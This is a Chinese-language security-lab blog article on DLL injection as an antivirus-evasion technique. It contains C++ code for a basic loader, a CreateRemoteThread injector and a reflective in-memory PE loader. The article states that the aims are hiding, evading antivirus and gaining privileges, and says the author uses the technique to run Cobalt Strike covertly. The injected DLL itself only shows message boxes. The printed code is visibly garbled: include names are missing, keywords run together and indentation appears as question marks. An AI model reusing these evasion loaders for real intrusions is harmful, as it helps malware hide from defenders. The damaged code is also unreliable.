本文章是蛇矛實(shí)驗(yàn)室基于"火天網(wǎng)測(cè)網(wǎng)絡(luò)安全測(cè)試平臺(tái)"進(jìn)行編寫(xiě)及驗(yàn)證,通過(guò)火天網(wǎng)測(cè)中的病毒測(cè)試模塊,可以對(duì)文件進(jìn)行詳盡的評(píng)估, 從而對(duì)文件是否存在惡意行為進(jìn)行判斷。
DLL簡(jiǎn)介
DLL(動(dòng)態(tài)鏈接庫(kù))注入技術(shù)是木馬程序,遠(yuǎn)控程序免殺過(guò)程中很常見(jiàn)的一種技術(shù)。但是這種技術(shù)隨著時(shí)間的流逝,免殺效果越來(lái)越差。因此,需要在原版的基礎(chǔ)上我們需要去升級(jí)成反射注入,也是目前主流的免殺方式之一,反射注入的介紹我們?cè)谙旅嬖斀狻?/p>
在我們繼續(xù)下面的操作時(shí),我們先去看看dll是什么.MSDN[What is a DLL]文章。通過(guò)文章基本可以了解到dll就是包含各種數(shù)據(jù)的庫(kù),它們提供了一種模塊化的代碼編寫(xiě)方法。當(dāng)我們使用像 LoadLibraryA 這樣的函數(shù)時(shí),可以加載到我們程序中。
什么是 DLL
對(duì)于 Windows 操作系統(tǒng),操作系統(tǒng)的大部分功能都是由 DLL 提供的。此外,當(dāng)您在這些 Windows 操作系統(tǒng)上運(yùn)行程序時(shí),該程序的大部分功能可能由 DLL 提供。例如,一些程序可能包含許多不同的模塊,程序的每個(gè)模塊都包含在DLL中并分布在DLL中。
DLL 的使用有助于促進(jìn)代碼的模塊化、代碼重用、有效的內(nèi)存使用和減少磁盤空間。因此,操作系統(tǒng)和程序加載速度更快,運(yùn)行速度更快,并且在計(jì)算機(jī)上占用的磁盤空間更少。
當(dāng)程序使用 DLL 時(shí),稱為依賴性的問(wèn)題可能會(huì)導(dǎo)致程序無(wú)法運(yùn)行。當(dāng)程序使用 DLL 時(shí),會(huì)創(chuàng)建一個(gè)依賴項(xiàng)。如果另一個(gè)程序覆蓋并破壞了這種依賴關(guān)系,則原始程序可能無(wú)法成功運(yùn)行。
隨著 .NET Framework 的引入,大多數(shù)依賴問(wèn)題已通過(guò)使用程序集消除。
更多信息
DLL 是一個(gè)庫(kù),其中包含可由多個(gè)程序同時(shí)使用的代碼和數(shù)據(jù)。例如,在 Windows 操作系統(tǒng)中,Comdlg32 DLL 執(zhí)行常見(jiàn)的對(duì)話框相關(guān)功能。每個(gè)程序都可以使用此 DLL 中包含的功能來(lái)實(shí)現(xiàn)打開(kāi)對(duì)話框。它有助于促進(jìn)代碼重用和有效的內(nèi)存使用,通過(guò)使用 DLL,可以將程序模塊化為單獨(dú)的組件。例如,會(huì)計(jì)程序可以按模塊銷售。如果安裝了該模塊,則每個(gè)模塊都可以在運(yùn)行時(shí)加載到主程序中。因?yàn)槟K是分開(kāi)的,所以程序的加載時(shí)間更快。并且僅在請(qǐng)求該功能時(shí)才加載模塊。
此外,更新更容易應(yīng)用于每個(gè)模塊,而不會(huì)影響程序的其他部分。例如,您可能有一個(gè)工資計(jì)劃,并且稅率每年都在變化。當(dāng)這些更改被隔離到 DLL 時(shí),您可以應(yīng)用更新而無(wú)需再次構(gòu)建或安裝整個(gè)程序。
以下列表描述了在 Windows 操作系統(tǒng)中作為 DLL 實(shí)現(xiàn)的一些文件:
ActiveX 控件的一個(gè)示例是日歷控件,它允許您從日歷中選擇日期。
控制面板 (.cpl) 文件
.cpl 文件的一個(gè)示例是位于控制面板中的項(xiàng)目。每個(gè)項(xiàng)目都是一個(gè)專門的 DLL。
設(shè)備驅(qū)動(dòng)程序 (.drv) 文件
設(shè)備驅(qū)動(dòng)程序的一個(gè)示例是控制打印到打印機(jī)的打印機(jī)驅(qū)動(dòng)程序。
DLL 優(yōu)勢(shì)
以下列表描述了程序使用 DLL 時(shí)提供的一些優(yōu)勢(shì):
使用更少的資源
當(dāng)多個(gè)程序使用同一個(gè)函數(shù)庫(kù)時(shí),DLL 可以減少加載到磁盤和物理內(nèi)存中的代碼重復(fù)。它不僅可以極大地影響在前臺(tái)運(yùn)行的程序的性能,還可以極大地影響在 Windows 操作系統(tǒng)上運(yùn)行的其他程序的性能。
促進(jìn)模塊化架構(gòu)
DLL 有助于促進(jìn)模塊化程序的開(kāi)發(fā)。它可以幫助您開(kāi)發(fā)需要多種語(yǔ)言版本的大型程序或需要模塊化架構(gòu)的程序。模塊化程序的一個(gè)示例是具有許多可以在運(yùn)行時(shí)動(dòng)態(tài)加載的模塊的會(huì)計(jì)程序。
簡(jiǎn)化部署和安裝
當(dāng) DLL 中的函數(shù)需要更新或修復(fù)時(shí),DLL 的部署和安裝不需要程序與 DLL 重新鏈接。此外,如果多個(gè)程序使用相同的 DLL,則多個(gè)程序都將受益于更新或修復(fù)。當(dāng)您使用定期更新或修復(fù)的第三方 DLL 時(shí),此問(wèn)題可能會(huì)更頻繁地發(fā)生。
從磁盤加載DLL(自身加載)
我們首先編寫(xiě)一個(gè)DLL(動(dòng)態(tài)鏈接庫(kù)),一個(gè)EXE(加載器),然后去把DLL加載到我們的EXE中。
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。 #include"pch.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "info", NULL); break; caseDLL_THREAD_ATTACH: MessageBoxA(NULL, "DLL_THREAD_ATTACH", "info", NULL); break; caseDLL_THREAD_DETACH: MessageBoxA(NULL, "DLL_THREAD_DETACH", "info", NULL); break; caseDLL_PROCESS_DETACH: MessageBoxA(NULL, "DLL_PROCESS_DETACH", "info", NULL); break; } returnTRUE; }
#include#include intmain() { // 使用LoadLibraryA加載我們的dll 加載成功返回模塊句柄 printf("%p ",LoadLibraryA("dll.dll")); std::cin.get(); return0; }
我們這里觸發(fā)了DLL_PROCESS_ATTACH 關(guān)閉exe觸發(fā)了DLL_PROCESS_DETACH,這里就是說(shuō)明我們的DLL已經(jīng)被加載到我們的EXE中了。我們可以用Process Hacker 2工具看下:
可以看到我們的模塊地址 還有模塊名稱。
從磁盤加載DLL(遠(yuǎn)程加載)
如果我們想把我們的程序加載到別的進(jìn)程中,那么該如何去做呢?
問(wèn):為什么要注入到別人的進(jìn)程中
答:注入到別人的進(jìn)程中后有利于我們的隱藏。
答:注入到別人的進(jìn)程中有利于做免殺。
答:注入到系統(tǒng)進(jìn)程中有更高的操作權(quán)限。
DLL程序源碼不變,我們?nèi)バ薷南耹oad的代碼。注入我會(huì)相對(duì)詳細(xì)的去寫(xiě)在代碼里面。
#include#include voidRemoteLoadDll(LPCSTR path) { STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = {}; // 創(chuàng)建一個(gè)notepad的進(jìn)程 if(CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL) { // 如果創(chuàng)建失敗直接返回 return; } else { // 創(chuàng)建成功打印進(jìn)程pid 和 進(jìn)程句柄 printf("Process PID: %d ", pi.dwProcessId); printf("Process Handle: %p ", pi.hProcess); intlen = strlen(path); // 在創(chuàng)建的進(jìn)程中申請(qǐng)一塊內(nèi)存空間 LPVOID mem_addr = VirtualAllocEx(pi.hProcess, nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); printf(" :: Base Address: %p ", mem_addr); // 把我們的dll路徑寫(xiě)入到我們申請(qǐng)的內(nèi)存空間內(nèi) WriteProcessMemory(pi.hProcess, mem_addr, (LPVOID)path, len, NULL); // 從kernel32中獲取到LoadLibraryA的函數(shù)地址 PTHREAD_START_ROUTINE func_addr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA"); printf(" :: THREAD_START_ROUTINE: %p ", func_addr); // 創(chuàng)建遠(yuǎn)程線程調(diào)用LoadLibraryA加載我們的dll HANDLE thread_handle = CreateRemoteThread(pi.hProcess, NULL, 0, func_addr, mem_addr, 0, NULL); printf(" :: Thread: %p ", thread_handle); // 釋放工作 if(pi.hProcess)CloseHandle(pi.hProcess); if(pi.hThread)CloseHandle(pi.hThread); if(thread_handle)CloseHandle(thread_handle); } } intmain() { // 使用LoadLibraryA加載我們的dll 加載成功返回模塊句柄 // printf("%p ", LoadLibraryA("dll.dll")); RemoteLoadDll(R"(E:UsersRedTeamDesktopcodedll-injectx64Debugdll.dll)"); std::cin.get(); return0; }
可以發(fā)現(xiàn)DLL已經(jīng)注入進(jìn)去了,但是這種注入技術(shù)很容易被發(fā)現(xiàn),因?yàn)槲覀冊(cè)谀K中就可以查到我們注入的DLL,那么我們?yōu)榱烁玫碾[藏自身,就要用到反射注入了。
反射注入
反射式注入 dll ,不會(huì)調(diào)用 LoadLibraryA/W 等API來(lái)完成DLL的裝載,DLL并沒(méi)有在操作系統(tǒng)中”注冊(cè)”自己的存在。因此無(wú)法使用CreateToolhelp32Snapshot 遍歷到這個(gè)模塊。像ProcessExplorer等軟件也無(wú)法檢測(cè)出進(jìn)程加載了該DLL。同時(shí)也不需要 DLL 留在磁盤上(可以通過(guò)網(wǎng)絡(luò)下發(fā),或加密后存放在磁盤)避免文件落地,因此這種注入方式更加隱蔽(也可以說(shuō)是內(nèi)存加載,因?yàn)閮煞N思路其實(shí)是一樣的。)。
過(guò)程如下
加載DLL的PE文件到要注入的內(nèi)存中
展開(kāi)PE文件
修復(fù)重定位
解析導(dǎo)入地址表 (IAT)
調(diào)用DLL_PROCESS_ATTACH
具體代碼如下
#include#include //重定位表 typedefstructBASE_RELOCATION_BLOCK{ DWORD page_addr; DWORD block_size; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; //重定位項(xiàng) typedefstructBASE_RELOCATION_ENTRY{ USHORT offset : 12; USHORT type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; usingDLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved); intmain() { printf("pid:%d ", GetCurrentProcessId()); // 獲取當(dāng)前模塊 PVOID imagebase = GetModuleHandleA(NULL); //將DLL字節(jié)讀入內(nèi)存緩沖區(qū) HANDLE dll = CreateFileA(R"(C:UsersAdministratorDesktopdll-injectDebugdll.dll)", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dll_size = GetFileSize(dll, NULL); LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size); DWORD out_size = 0; ReadFile(dll, dll_bytes, dll_size, &out_size, NULL); // 解析dll PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes; PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosheaders->e_lfanew); SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage; // 為DLL分配新的內(nèi)存空間 LPVOID dllbase = VirtualAlloc((LPVOID)ntheaders->OptionalHeader.ImageBase, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); printf("new memory addr:%p ", dllbase); //計(jì)算得到基地址的偏移量,也就是實(shí)際的 DLL 加載地址減去 DLL 的推薦加載地址 DWORD_PTR delta_image_base = (DWORD_PTR)dllbase - (DWORD_PTR)ntheaders->OptionalHeader.ImageBase; // 將DLL節(jié)表頭復(fù)制到新分配的DLL空間 std::memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders); // 將DLL節(jié)部分復(fù)制到新分配的DLL空間 PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders); for(size_ti = 0; i < ntheaders->FileHeader.NumberOfSections; i++) { LPVOID section_destination = (LPVOID)((DWORD_PTR)dllbase + (DWORD_PTR)section->VirtualAddress); LPVOID section_bytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData); std::memcpy(section_destination, section_bytes, section->SizeOfRawData); section++; } //修復(fù)重定位 IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocation_table = relocations.VirtualAddress + (DWORD_PTR)dllbase; DWORD relocations_processed = 0; while(relocations_processed < relocations.Size) ??{ ????PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed); ????relocations_processed += sizeof(BASE_RELOCATION_BLOCK); ????DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed); for(DWORD i = 0; i < relocations_count; i++) ????{ ??????relocations_processed += sizeof(BASE_RELOCATION_ENTRY); ??????if?(relocation_entries[i].type == 0) ??????{ ????????continue; ??????} ??????DWORD_PTR relocation_rva = relocation_block->page_addr + relocation_entries[i].offset; DWORD_PTR address_2_patch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR), NULL); address_2_patch += delta_image_base; std::memcpy((PVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR)); } } //解析導(dǎo)入地址表 PIMAGE_IMPORT_DESCRIPTOR import_descriptor = NULL; IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD_PTR)dllbase); LPCSTR libraryname = ""; HMODULE library = NULL; while(import_descriptor->Name != NULL) { libraryname = (LPCSTR)import_descriptor->Name + (DWORD_PTR)dllbase; library = LoadLibraryA(libraryname); if(library) { PIMAGE_THUNK_DATA thunk = NULL; thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllbase + import_descriptor->FirstThunk); while(thunk->u1.AddressOfData != NULL) { if(IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllbase + thunk->u1.AddressOfData); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); thunk->u1.Function = functionAddress; } ++thunk; } } import_descriptor++; } //執(zhí)行 DLLEntry dllentry = (DLLEntry)((DWORD_PTR)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint); (*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0); CloseHandle(dll); HeapFree(GetProcessHeap(), 0, dll_bytes); return0; }
從這里可以看到我們DLL的PE結(jié)構(gòu)存放在我們新申請(qǐng)的內(nèi)存里,我們內(nèi)存展開(kāi)后去執(zhí)行了這個(gè)程序。這樣更加隱蔽的去執(zhí)行了我們的程序。在免殺技術(shù)中,我經(jīng)常使用這種技術(shù)配合白加黑去執(zhí)行Cobalt Strike的EXE程序,隱蔽的去執(zhí)行我們的代碼,當(dāng)然這里我們也可以更加隱蔽的去執(zhí)行我們的代碼。
蛇矛實(shí)驗(yàn)室成立于2020年,致力于安全研究、攻防解決方案、靶場(chǎng)對(duì)標(biāo)場(chǎng)景仿真復(fù)現(xiàn)及技戰(zhàn)法設(shè)計(jì)與輸出等相關(guān)方向。團(tuán)隊(duì)核心成員均由從事安全行業(yè)10余年經(jīng)驗(yàn)的安全專家組成,團(tuán)隊(duì)目前成員涉及紅藍(lán)對(duì)抗、滲透測(cè)試、逆向破解、病毒分析、工控安全以及免殺等相關(guān)領(lǐng)域。
審核編輯:湯梓紅
-
dll
+關(guān)注
關(guān)注
0文章
115瀏覽量
45428 -
WINDOWS
+關(guān)注
關(guān)注
3文章
3545瀏覽量
88707 -
操作系統(tǒng)
+關(guān)注
關(guān)注
37文章
6825瀏覽量
123333
原文標(biāo)題:免殺技術(shù)之dll注入技術(shù)詳解
文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論